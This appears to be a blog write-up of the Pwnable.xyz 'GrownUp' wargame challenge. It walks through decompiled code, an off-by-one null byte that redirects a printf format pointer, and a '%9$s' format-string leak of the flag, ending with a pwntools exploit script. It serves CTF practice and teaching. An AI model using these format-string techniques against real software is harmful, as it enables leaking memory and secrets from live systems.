본문 바로가기
Wargame Write-Up/Pwnable.xyz

(Pwnable.xyz) GrownUp writeup

by snwo 2022. 1. 11.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // [rsp+8h] [rbp-28h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setup();
  *buf = 0LL;
  *&buf[8] = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
  buf[(read(0, buf, 0x10uLL) - 1)] = 0;
  if ( buf[0] != 'y' && buf[0] != 'Y' )
    return 0;
  src = malloc(0x84uLL);
  printf("Name: ");
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ");
  printf(qword_601160, usr);
  return 0;
}

.data:0000000000601080 flag db 'FLAG{*the_real_flag_will_be_here*}',0

there is a flag in the data segment

It gets my input in heap and copies (0x80) to usr (0x6010E0)

so my input range is 0x6010E0~0x601160

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
  qword_601160 = &byte_601168;
  byte_601168 = '%';
  byte_601169 = 's';
  byte_60116A = '\n';
  return alarm(0x3Cu);
}

In setup function, format string is in the 0x601168,

and 0x601160=0x601118


In strcpy function, it adds \x00 at the end of the string.

When we fill 0x80 bytes, \x00 will be added at 0x601160, (0x601160=0x601100)

format string bug

*printf(qword_601160, usr);*

so in this code, the address of format string is 0x601100 (usr+0x20)

and the argument of the format string is 0x6010e0 (usr)

so we can first think the payload is *p64(0x601080).ljust(0x20,b'A')+b"%s"*

but strcpy function copy until \x00

so we should find the address of the flag in the stack

if ( buf[0] != 'y' && buf[0] != 'Y' )

when we input first, it checks only first byte, so we can enter the address of the flag in buf.

but the address of the flag must be on the arranged address with 8

so the first payload is y(dummy(7))+p64(0x601080)

and the second payload is A*0x20+format strings until 0x80

The address of the flag is on the ninth.

Then, we can use $-flag to print the 9th argument. ( %9$s )

python ex.py svc.pwnable.xyz : 30004

import sys
from pwn import *
if sys.argv.__len__()==4:
        r=remote(sys.argv[1],int(sys.argv[3]))
else:
        r=process("./GrownUpRedist")
context.log_level='debug'
r.sendafter(": ",b"y       "+p64(0x601080))
pause()
r.send(b'X'.ljust(0x20,b'A')+b"%9$s".ljust(0x60,b'A'))
r.interactive()